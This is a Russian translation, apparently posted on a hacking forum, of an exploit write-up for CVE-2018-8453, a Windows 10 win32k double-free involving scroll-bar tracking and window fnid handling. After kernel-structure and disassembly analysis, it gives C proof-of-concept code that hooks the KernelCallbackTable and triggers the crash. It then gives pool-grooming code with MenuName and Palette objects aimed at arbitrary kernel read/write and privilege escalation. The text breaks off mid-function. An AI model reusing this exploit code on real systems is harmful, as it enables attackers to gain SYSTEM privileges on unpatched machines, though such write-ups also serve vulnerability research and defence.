Оригинальная статья
Переведено специально для xss.proКамнями кадать Jolah Milovski
Введение
1. Описание уязвимости
Поскольку NtUserSetWindowFNID в win32kfull не определяет, было ли освобождено окно при установке fnid объекта окна, можно установить fnid освобожденного окна. Обратные вызовы пользовательского уровня есть как в xxxSBTrackInit, так и в xxxFreeWindow.При перехвате функции структура tagSBTRACK, используемая в функции xxxSBTrackInit, может быть освобождена в обратном вызове, поэтому, когда xxxSBTrackInit освобождает структуру, это вызывает BSOD из-за двойного выпуска. Перед освобождением структуры через функцию xxxSBTrackInit некоторые элементы структуры разыменовываются, а адрес члена cEntries ПАЛИТРЫ помещается в соответствующий адрес памяти для расширения значения путем разыменования, и записывается адрес вне границ в соседнюю PALETTE pFirstColor для достижения произвольного чтения и записи адреса и, в конечном итоге, для повышения привилегий.2. Экспериментальная среда
- ОС: Win10 x64 1709 Professional Edition
- Компилятор: Visual Studio 2017
- Отладчик: IDA Pro, WinDbg
2. Анализ уязвимостей
1. Ключевые структуры
Поскольку многие символы в системе Win10 не экспортируются, некоторые элементы структуры можно получить только путем анализа. Для оконного объекта tagWND члены, связанные с этой уязвимостью, определяются следующим образом:
Код:
3: kd> dt tagWND
+0x000 head : _THRDESKHEAD
+0x052 fnid : Uint2B
+0x0A8 pcls : Ptr64 tagCLS
+0x180 cbwndExtra : Uint8B
3: kd> dt _THRDESKHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 UChar
FNID tagWND offset 0x52 указывает на состояние окна, когда значение содержит 0x8000, это означает, что окно освобождено:
Код:
#define FNID_DELETED_BIT 0x00008000
Pti смещения tagWND 0x10 указывает на структуру tagTHREADINFO, которая сохраняет информацию о потоке и определяется следующим образом:
Код:
3: kd> dt tagTHREADINFO
+0x198 pq : Ptr64 tagQ
+0x2B0 pSBTrack : Ptr64 tagSBTRACK
Параметр pq смещения tagTHREADINFO 0x198 указывает на структуру tagQ, которая определяется следующим образом:
Код:
1: kd> dt tagQ
+0x068 spwndCapture : Ptr64 tagWND
Смещение tagTHREADINFO 0x2B0 указывает на структуру tagSBTRACK. Когда мышь нажимает левую кнопку на полосе прокрутки, система будет использовать эту структуру для отметки текущего состояния мыши. Структура определяется следующим образом:
Код:
3: kd> dt tagSBTRACK -v
struct tagSBTRACK, 17 elements, 0x68 bytes
+0x000 fHitOld : Bitfield Pos 0, 1 Bit
+0x000 fTrackVert : Bitfield Pos 1, 1 Bit
+0x000 fCtlSB : Bitfield Pos 2, 1 Bit
+0x000 fTrackRecalc : Bitfield Pos 3, 1 Bit
+0x008 spwndTrack : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x010 spwndSB : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x018 spwndSBNotify : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x020 rcTrack : struct tagRECT, 4 elements, 0x10 bytes
+0x030 xxxpfnSB : Ptr64 to void
+0x038 cmdSB : Uint4B
+0x040 hTimerSB : Uint8B
+0x048 dpxThumb : Int4B
+0x04c pxOld : Int4B
+0x050 posOld : Int4B
+0x054 posNew : Int4B
+0x058 nBar : Int4B
+0x060 pSBCalc : Ptr64 to struct tagSBCALC, 16 elements, 0x40
2. Анализ функции xxxFreeWindow
Ядро освобождает окно с помощью xxxFreeWindow, и функция выполнит ИЛИ fnid объекта окна, который будет освобожден, с 0x8000, указывая, что окно освобождено. Затем оцените, имеет ли объект окна расширенную память, то есть, равно ли cbwndExtra 0, если нет, выполните xxxClientFreeWindowClassExtraBytes, чтобы освободить расширенную память:
Код:
.text:00000001C0050A10 mov r8, [rdi+180h] ; r8 = tagWND->cbwndExtra
.text:00000001C0050A17 mov eax, 8000h
.text:00000001C0050A1C or [rdi+52h], ax ; tagWND->fnid |= 0x8000
.text:00000001C0050A20 lea rax, [r8-1]
.text:00000001C0050A24 cmp rax, 0FFFFFFFFFFFFFFFDh
.text:00000001C0050A28 ja short loc_1C0050A6D ; 判断r8是否为0
.text:00000001C0050A2A test dword ptr [rdi+130h], 800h
.text:00000001C0050A34 jnz loc_1C00513AD
.text:00000001C0050A3A call cs:__imp_PsGetCurrentProcess
.text:00000001C0050A40 mov ecx, [rax+304h]
.text:00000001C0050A46 test ecx, 40000008h
.text:00000001C0050A4C jnz short loc_1C0050A66
.text:00000001C0050A4E mov eax, [r15+1D0h]
.text:00000001C0050A55 test r14b, al
.text:00000001C0050A58 jnz short loc_1C0050A66
.text:00000001C0050A5A mov rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra
.text:00000001C0050A61 call xxxClientFreeWindowClassExtraBytes
Функция xxxClientFreeWindowClassExtraBytes выполнит KeUserModeCallback, чтобы вернуться на пользовательский уровень:
Код:
.text:00000001C00B6D25 mov r8d, 8
.text:00000001C00B6D2B lea rax, [rsp+48h+arg_10]
.text:00000001C00B6D30 lea r9, [rsp+48h+var_18]
.text:00000001C00B6D35 mov [rsp+48h+var_28], rax
.text:00000001C00B6D3A lea rdx, [rsp+48h+arg_18]
.text:00000001C00B6D3F lea ecx, [r8+76h] ; ecx = 0x76 + 0x8 = 0x7E
.text:00000001C00B6D43 call cs:__imp_KeUserModeCallback
После выполнения функции xxxClientFreeWindowClassExtraBytes функция определит, находятся ли младшие 12 бит значения fnid объекта окна между 0x2A0 и 0x2AA:
Код:
.text:00000001C00509EF movzx eax, word ptr [rdi+52h] ; eax = tagWND->fnid
.text:00000001C00509F3 mov edx, 3FFFh
.text:00000001C00509F8 movzx ecx, ax
.text:00000001C00509FB and cx, dx
.text:00000001C00509FE mov edx, 29Ah
.text:00000001C0050A03 lea r8d, [rdx+6] ; r8d = 0x29A + 0x6 = 0x2A0
.text:00000001C0050A07 cmp cx, dx
.text:00000001C0050A0A jnb loc_1C005117A ; this will jump
; omit some code
.text:00000001C005117A loc_1C005117A:
.text:00000001C005117A mov ebx, 4000h
.text:00000001C005117F test bx, ax
.text:00000001C0051182 jnz loc_1C0050A10 ; r8 = tagWND->cbwndExtra
.text:00000001C0051188 cmp cx, r8w ; r8w = 0x2A0
.text:00000001C005118C jbe loc_1C00514B7 ; fnid <= 0x2A0 jump
.text:00000001C0051192 mov eax, 2AAh
.text:00000001C0051197 cmp cx, ax
.text:00000001C005119A ja short loc_1C00511AC ; fnid >= 0x2AA then jump
.text:00000001C005119C mov eax, [r15+1D0h]
.text:00000001C00511A3 test r14b, al
.text:00000001C00511A6 jz loc_1C00515D8 ; here need to jump
Если fnid находится между 0x2A0 и 0x2AA, вызывается функция SfnDWORD:
Код:
.text:00000001C00515D8 loc_1C00515D8:
.text:00000001C00515D8 mov rax, cs:__imp_gpsi
.text:00000001C00515DF xor r9d, r9d ; r9d = 0
.text:00000001C00515E2 movzx ecx, cx
.text:00000001C00515E5 xor r8d, r8d
.text:00000001C00515E8 mov [rsp+100h+var_C8], r13
.text:00000001C00515ED mov dword ptr [rsp+100h+var_D0], r14d
.text:00000001C00515F2 mov rax, [rax]
.text:00000001C00515F5 lea edx, [r9+70h] ; edx = 0 + 0x70 = 0x70
.text:00000001C00515F9 mov rax, [rax+rcx*8-1210h]
.text:00000001C0051601 mov rcx, rdi
.text:00000001C0051604 mov qword ptr [rsp+100h+var_D8], rax
.text:00000001C0051609 mov qword ptr [rsp+100h+var_E0], r13
.text:00000001C005160E call SfnDWORD
.text:00000001C0051613 jmp loc_1C00511AC
Функция SfnDWORD также вызывает функцию KeUserModeCallback для возврата на пользовательский уровень:
Код:
.text:00000001C006F85A lea r9, [rsp+108h+arg_18] ;
.text:00000001C006F862 mov r8d, 30h ; '0' ;
.text:00000001C006F868 lea rdx, [rsp+108h+var_C8]
.text:00000001C006F86D lea ecx, [r8-2Eh] ; ecx = 0x30 - 0x2E = 0x2
.text:00000001C006F871 call cs:__imp_KeUserModeCallback
3. Анализ функции xxxSBTrackInit
xxxSBTrackInit — это функция, используемая для выполнения перетаскивания путем нажатия на полосу прокрутки левой кнопкой мыши.Часть кода этой функции выглядит следующим образом.Функция сначала применяется к фрагменту памяти для сохранения структуры pSBTrack, инициализирует эту память и ссылается на некоторые элементы; затем функция вызывает xxxSBTrackLoop для обработки сообщения, которое необходимо обработать, перетаскивая полосу прокрутки; наконец, функция разыменовывает соответствующие элементы и освобождает структуру pSBTrack:
Код:
__int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4)
{
// Requesting memory and initializing it
pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU');
pSBTrack_1 = pSBTrack;
if ( !pSBTrack )
return pSBTrack;
// Initialization of members
*(_DWORD *)pSBTrack &= 0xFFFFFFFE;
*(_QWORD *)(pSBTrack + 0x40) = 0i64;
*(_QWORD *)(pSBTrack + 8) = 0i64;
*(_QWORD *)(pSBTrack + 0x10) = 0i64;
*(_QWORD *)(pSBTrack + 0x18) = 0i64;
*(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox;
// Store pSBTrack with tagTHRAEDINFO->pSBTrack
*(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack;
// References to spwndTrack, spwndSB, spwndSBNotify
arr[0] = pSBTrack_1 + 8;
arr[1] = tagWND;
HMAssignmentLock(arr);
arr[0] = pSBTrack_1 + 0x10;
arr[1] = tagWND;
HMAssignmentLock(arr);
arr[0] = pSBTrack_1 + 0x18;
arr[1] = *((_QWORD *)tagWND + 0xD);
HMAssignmentLock(arr);
xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64);
pti = *((_QWORD *)tagWND + 2);
if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
{
// Message Distribution
xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17);
// Release the pSBTrack object
pti = *((_QWORD *)tagWND + 2);
pSBTrack = *(_QWORD *)(pti + 0x2B0);
if ( pSBTrack )
{
// Unquote
HMAssignmentUnlock(pSBTrack + 0x18);
HMAssignmentUnlock(pSBTrack + 0x10);
HMAssignmentUnlock(pSBTrack + 8);
// Release pSBTrack
Win32FreePool(pSBTrack);
pti = *((_QWORD *)tagWND + 2);
*(_QWORD *)(pti + 0x2B0) = 0i64;
return pti;
}
}
}
xxxSBTrackLoop будет вызывать xxxTranslateMessage и xxxDispatchMessage для распространения и обработки сообщений, а функция xxxDi spatchMessage будет вызывать упомянутую выше функцию SfnWORD для возврата на пользовательский уровень:
4. Анализ функции NtUserSetWindowFNID
Эта функция используется для установки fnid объекта окна на увеличение указанного значения.Однако, когда он добавляется сюда, функция не оценивает, было ли окно освобождено, то есть имеет ли оно 0x8000. Это приведет к возможности установки значения fnid освобождаемого окна при его установке:
Код:
__int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid)
{
hwnd = ValidateHwnd(a1);
if ( hwnd )
{
if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) )
{
// determine if the fnid to be set meets the requirements
if ( fnid == 0x4000 || fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 )
{
// set tagWND->fnid
*(_WORD *)(hwnd + 0x52) |= fnid;
}
}
}
}
5. Причины уязвимости
Причина этой уязвимости более сложная, если связать вышеперечисленные функции, то причины следующие:- Когда сообщение WM_LBUTTONDOWN (нажата левая кнопка) отправляется элементу управления полосой прокрутки, будет вызвана функция xxxSBTrackInit, функция xxxSBTrackInit вызовет xxxDispatchMessage, а функция вызовет SfdDWORD для возврата на пользовательский уровень.
- Если пользователь HOOKs соответствующую функцию обработки пользовательского уровня, вы можете вызвать DestroyWindow в этой функции, чтобы освободить окно, которому принадлежит элемент управления полосы прокрутки. Таким образом будет выполнена xxxFreeWindow Эта функция сначала пометит fnid окна как удаленное окно, а затем вызовет функцию xxxClientFreeWindowClassExtraBytes для возврата на пользовательский уровень, когда в окне есть расширенный объект.
- Если пользователь перехватывает функцию обработки, соответствующую пользовательскому уровню, он может вызвать NtUserSetWindowFNID в функции обработки и добавить fnid окна к флагу 0x2A1. Таким образом, после возврата функции xxxClientFreeWindowClassExtraBytes, поскольку младшие 12 бит значения fnid измененного окна равны 0x2A1, снова будет вызван SfdDWORD для возврата на пользовательский уровень.В это время структура pSBTrack, применяемая функцией xxxSBTrackInit будет освобожден в соответствующей функции обработки.Этот кусок памяти будет освобожден
- Когда функция xxxFreeWindow вернется, она вернется к xxxSBTrackInit для продолжения выполнения, а xxxSBTrackInit освободит структуру pSBTrack в конце, и эта структура была освобождена.В это время произойдет ошибка BSOD, если она будет освобождена.
3. Триггер уязвимости
Чтобы успешно активировать эту уязвимость, вам нужно освободить структуру pSBTrack в функции обработки SfdDWORD на пользовательском уровне.В это время вам нужно только отправить сообщение WM_CANCELMODE на полосу прокрутки, что заставит функцию xxxEndScroll освободить память , Основной код функции выглядит следующим образом:
Код:
__int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2)
{
// Three conditions to release the pSBTrack structure
pti = *((_QWORD *)pwnd + 2);
pSBTrack = *(_QWORD *)(pti + 0x2B0);
if ( !pSBTrack ) // pSBTrack != NULL
return pti;
pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64);
if ( *(struct tagWND **)(pq + 0x68) != pwnd ) // pq->spwndCapture == pwnd
return pti;
if ( !*(_QWORD *)(pSBTrack + 0x30) ) // pSBTrack->xxxpfnSB != NULL
return pti;
// Free the pSBTrack structure
pti = *((_QWORD *)pwnd + 2);
if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
{
spwndSB = *(struct tagWND **)(pSBTrack + 0x10);
if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) )
{
*(_QWORD *)(pSBTrack + 0x30) = 0i64;
HMAssignmentUnlock(pSBTrack + 0x10);
HMAssignmentUnlock(pSBTrack + 0x18);
HMAssignmentUnlock(pSBTrack + 8);
Win32FreePool(pSBTrack);
pti = *((_QWORD *)pwnd + 2);
*(_QWORD *)(pti + 0x2B0) = 0i64;
}
}
return pti;
}
Второй предел требует нового объекта полосы прокрутки для окна и вызывает для него SetCapture. Весь процесс срабатывания уязвимости выглядит следующим образом:
- Создает объект окна с восемью байтами дополнительной памяти и назначает дескриптор объекта дополнительной памяти для последующего использования. В то же время создайте в этом окне объект полосы прокрутки, чтобы активировать уязвимость.
- HOOK SfdDWORD и xxxCreateFreeWindowClassExtraBytes возвращают функцию, которую будет выполнять пользовательский уровень
- Отправьте в созданное окно функцию WM_LBUTTIONDWORD для вызова функции xxxSBTrackInit
- xxxClientFreeWindowClassExtraBytes, определенные на пользовательском уровне, будут решать, следует ли изменять fnid и вызывать SetCapture в соответствии с тем, является ли освобождаемая память дескриптором окна на первом этапе.
- В функции обработки SfdDWORD, определенной пользовательским уровнем, будет принято решение, что если это первый вызов, xxxFreeWindow будет вызываться через DestroyWindow. Если это второй вызов, отправьте WM_CANCELMODE в функцию pSBTrackInit.
- Когда функция xxxSBTrackInit, наконец, освободит структуру pSBTrack, это вызовет BSOD из-за двойного выпуска.
Код:
BOOL CreateWindows()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
char *szClassName = "MainWindow";
WNDCLASS wc = { 0 };
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = handle;
wc.cbWndExtra = 8;
wc.lpszClassName = szClassName;
if (!RegisterClass(&wc))
{
bRet = FALSE;
ShowError("RegisterClass", GetLastError());
goto exit;
}
Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!Window)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
SetWindowLong(Window, 0, (ULONG)Window);
ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL);
if (!ScrollBar)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
exit:
return bRet;
}
BOOL HookFunc_CVE_2018_8453()
{
BOOL bRet = TRUE;
ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58);
DWORD dwOldProtect = 0;
if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2);
*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD;
org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80);
*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes;
if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
exit:
return bRet;
}
LONG64 My_fnDWORD(PVOID arg0)
{
if (g_Flag_2018_8453 && *(PDWORD)arg0)
{
g_Flag_2018_8453 = FALSE;
DestroyWindow(Window);
}
if (*((PULONG64)arg0 + 1) == 0x70)
{
SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
}
return org_fnDWORD(arg0);
}
LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0)
{
if ((*(HWND*)*(HWND*)arg0) == Window)
{
New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
NtUserSetWindowFNID(Window, 0x2A1);
SetCapture(New_ScrollBar);
}
return org_xxxClientAllocWindowClassExtraBytes(arg0);
}
BOOL POC_CVE_2018_8453()
{
BOOL bRet = TRUE;
if (!CreateWindows())
{
bRet = FALSE;
goto exit;
}
if (!HookFunc_CVE_2018_8453())
{
bRet = FALSE;
goto exit;
}
g_Flag_2018_8453 = TRUE;
SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
exit:
return bRet;
}
Компиляция и запуск POC вызовет ошибку BSOD. Ниже приведены некоторые сообщения об ошибках:
Код:
2: kd> !analyze -v
Connected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed
Arg2: 0000000074737355, Pool tag value from the pool header
Arg3: 000000002d080002, Contents of the first 4 bytes of the pool header
Arg4: ffffea21825a28f0, Address of the block of pool being deallocated
POOL_ADDRESS: ffffea21825a28f0 Paged session pool
FREED_POOL_TAG: Usst
PROCESS_NAME: exp_x64.exe
STACK_TEXT:
nt!DbgBreakPointWithStatus
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x937
nt!KeBugCheckEx+0x107
nt!ExFreePoolWithTag+0x17bc
win32kfull!Win32FreePoolImpl+0x4c
win32kbase!Win32FreePool+0x1c
win32kfull!xxxSBTrackInit+0x491
win32kfull!xxxSBWndProc+0x9fa
win32kfull!xxxSendTransformableMessageTimeout+0x3c8
win32kfull!xxxWrapSendMessage+0x24
win32kfull!NtUserMessageCall+0xfb
nt!KiSystemServiceCopyEnd+0x13
win32k!NtUserMessageCall+0x14
USER32!SendMessageWorker+0x108
USER32!SendMessageA+0x55
Видно, что причиной BSOD является повторный выпуск структуры pSBTrack:
4. Использование уязвимостей
1. Используйте идеи
Если вы хотите не генерировать BSOD, вам нужно подать заявку на блок памяти, который занимает общий размер 0x80 после освобождения структуры pSBTrack в первый раз, чтобы занять освободившуюся память, чтобы при ее втором освобождении в xxxSBTrackInit, не выйдет из-за релиза.Уязвимость выдает двойной фри. Перед тем, как xxxSBTrackInit освободит память, функция разыменовывает несколько своих членов, вызывая HMAssignmentUnlock.Реализация этой функции выглядит следующим образом.Видно, что значение адреса смещено на 8 к адресу, на который указывает указатель входящего параметра равно -1 , если вы можете передать соответствующие параметры, чтобы расширить конкретное значение, вы можете получить любой адрес для чтения и записи.
Объект BitMap часто выбирался и раньше, но, начиная с Win10 1709, данные объекта BitMap не находятся за заголовком объекта, а pvScan0 указывает на другую память, поэтому вместо него используется объект Palette для достижения произвольного чтения и записи адреса.
2. Объект палитры
Создание объекта Palette достигается с помощью функции CreatePalette, которая определяется следующим образом:
Код:
HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);
Параметры определяются следующим образом, а элемент palNumEntries указывает номер массива palPalEntry:
Код:
typedef struct tagLOGPALETTE {
WORD palVersion;
WORD palNumEntries;
PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE;
Тип массива palPalEntry — PALETTENTRY, и видно, что каждый элемент занимает 4 байта:
Код:
typedef struct tagPALETTEENTRY
{
BYTE peRed;
BYTE peGreen;
BYTE peBlue;
BYTE peFlags;
} PALETTEENTRY;
После успешного вызова CreatePalette будет создан объект PALETTE, который определяется следующим образом, где cEntries по смещению 0x1C равно palNumEntries в LOGPALETTE, а массив apalColor по смещению 0x88 является массивом palPalEntry в LOGPALETTE.
Код:
typedef struct _BASEOBJECT64
{
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64, *POBJ; // sizeof = 0x18
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG64 ulUnknown[0xB] // 0x20
PALETTEENTRY *pFirstColor; // 0x78
PALETTE64 *ppalThis; // 0x80
PALETTEENTRY apalColors[3]; // 0x88
} PALETTE64, *PPALETTE64;
pFirstColor по смещению 0x78 указывает на apalColors.При чтении и записи через SetPaletteEntries и GetPaletteEntries адреса чтения и записи — это адреса, на которые указывает pFirstColor:
Код:
UINT WINAPI SetPaletteEntries(HPALETTE hpal,
UINT iStart,
UINT cEntries,
PALETTEENTRY *pPalEntries);
UINT WINAPI GetPaletteEntries(HPALETTE hpal,
UINT iStart,
UINT cEntries,
LPPALETTEENTRY pPalEntries);
При создании окна с MenuName его адрес в памяти можно получить по tagWND offset 0xA8 pcls. Поэтому можно создать PALETTE создав такое окно, потом отпустить его, а потом сразу создать PALETTEУ, тогда ее пклс будет указывать на объект PALETTE (высокая вероятность).При попадании на определенный уровень голова этой памяти не будет иметь POOL_HEADER 0x10, поэтому его следует решать в соответствии с конкретной ситуацией при его использовании.
Код:
ULONG64 AllocateFreeWindow(DWORD dwSize)
{
ULONG64 ulRes = 0;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
WNDCLASSW wc = { 0 };
WCHAR szMenuName[0x1005] = { 0 };
PWCHAR pClassName = L"LEAKWS";
memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pClassName;
wc.lpszMenuName = szMenuName;
if (!RegisterClassW(&wc))
{
ShowError("RegisterClassW", GetLastError());
goto exit;
}
HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!hWnd)
{
ShowError("CreateWindowExW", GetLastError());
goto exit;
}
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle) goto exit;
PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW);
ULONG64 ulTagCls = 0, ulClientDelta = 0;
ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
ulRes = *(PULONG64)(ulTagCls + 0x98);
DestroyWindow(hWnd);
UnregisterClassW(pClassName, handle);
exit:
return ulRes;
}
На этом этапе вы можете создать MenuName размером 0x1000 байт, освободить его и сразу же подать заявку на две PALETTE, занимающие 0x800, чтобы эти двеPALETTE заняли освобожденное MenuName, которые соседствуют в памяти и могут быть получены по адресу первой PALETTE объекта, запишите адрес первого объекта PALETTE cEntries object для последующего использования, соответствующий код выглядит следующим образом:
Код:
BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette)
{
BOOL bRet = TRUE;
CONST DWORD dwCount = 0x1500;
DWORD i = 0, dwSize = 0x800;
HACCEL hAccel[dwCount] = { NULL };
PLOGPALETTE pLogPalette = NULL;
DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4;
DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY);
pLogPalette = (PLOGPALETTE)malloc(dwPalSize);
if (!pLogPalette)
{
ShowError("malloc", GetLastError());
goto exit;
}
ZeroMemory(pLogPalette, dwPalSize);
memset(pLogPalette, 0x41, dwPalSize);
pLogPalette->palNumEntries = dwNumEntries;
pLogPalette->palVersion = 0x300;
//Consume 0x800 size of free memory
for (i = 0; i < dwCount; i++)
{
// 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800
ACCEL accel[0x14D] = { 0 };
hAccel[i] = CreateAcceleratorTable(accel, 0x14D);
if (!hAccel[i]) break;
}
// Request a new 0x1000 size MENUNAME and release it
ULONG64 ulRes = AllocateFreeWindow(0x1000);
if (!ulRes)
{
bRet = FALSE;
goto exit;
}
// Occupy the 0x1000 size of memory freed in the previous step
hPalette[0] = CreatePalette(pLogPalette);
hPalette[1] = CreatePalette(pLogPalette);
if (!hPalette[0] || !hPalette[1])
{
bRet = FALSE;
goto exit;
}
// Used to record the size of the modified cEntries member
g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8;
exit:
for (i = 0; i < dwCount; i++)
{
if (hAccel[i])
{
DestroyAcceleratorTable(hAccel[i]);
hAccel[i] = NULL;
}
else break;
}
return bRet;
}
Затем, когда он освобождается в первый раз, необходимо создать большое количество MenuNames, чтобы занять освободившуюся память.Поскольку значение MenuName может быть изменено напрямую, оно может соответствовать члену структуры tagSBTRACK и устанавливать его как адрес элемента cEntries, записанный выше. , так что функция xxxSBTrackInit изменит cEntries, когда она, наконец, вызовет HMAssignmentUnlock для выполнения операции -1. Соответствующий код выглядит следующим образом:
Код:
LONG64 My_fnDWORD(PVOID arg0)
{
if (g_Flag_2018_8453 && *(PDWORD)arg0)
{
g_Flag_2018_8453 = FALSE;
DestroyWindow(Window);
}
if (*((PULONG64)arg0 + 1) == 0x70)
{
CONST DWORD dwCount = 0x2000;
DWORD i = 0, dwSize = 0x80;
HACCEL hAccel[dwCount] = { NULL };
// Occupy 0x80 of free memory
for (i = 0; i < dwCount; i++)
{
// 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80
ACCEL accel[0xD] = { 0 };
hAccel[i] = CreateAcceleratorTable(accel, 0xD);
if (!hAccel[i]) break;
}
// Free tagSBTRACK memory
SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle) goto exit;
HINSTANCE handle = GetModuleHandle(NULL);
if (!handle)
{
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
HWND hWnd[0x400] = { NULL };
WNDCLASSW wc = { 0 };
WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 };
// Occupy freed tagSBTRACK memory
memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
*(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453;
*(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453;
for (i = 0; i < 0x400; i++)
{
memset(ClassName, 0, 0x50);
sprintf((char*)ClassName, "WindowLeak%d", i);
memset(&wc, 0, sizeof(wc));
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszMenuName = MenuName;
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpszClassName = ClassName;
if (!RegisterClassW(&wc))
{
ShowError("RegisterClassW", GetLastError());
break;
}
hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (!hWnd[i])
{
ShowError("CreateWindowExW", GetLastError());
break;
}
}
ULONG64 ulTagCls = 0, ulClientDelta = 0;
PTHRDESKHEAD pTagWndHead = NULL;
for (i = 0; i < 0x400; i++)
{
if (!hWnd[i]) break;
pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW);
ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta;
}
for (i = 0; i < dwCount; i++)
{
if (hAccel[i])
{
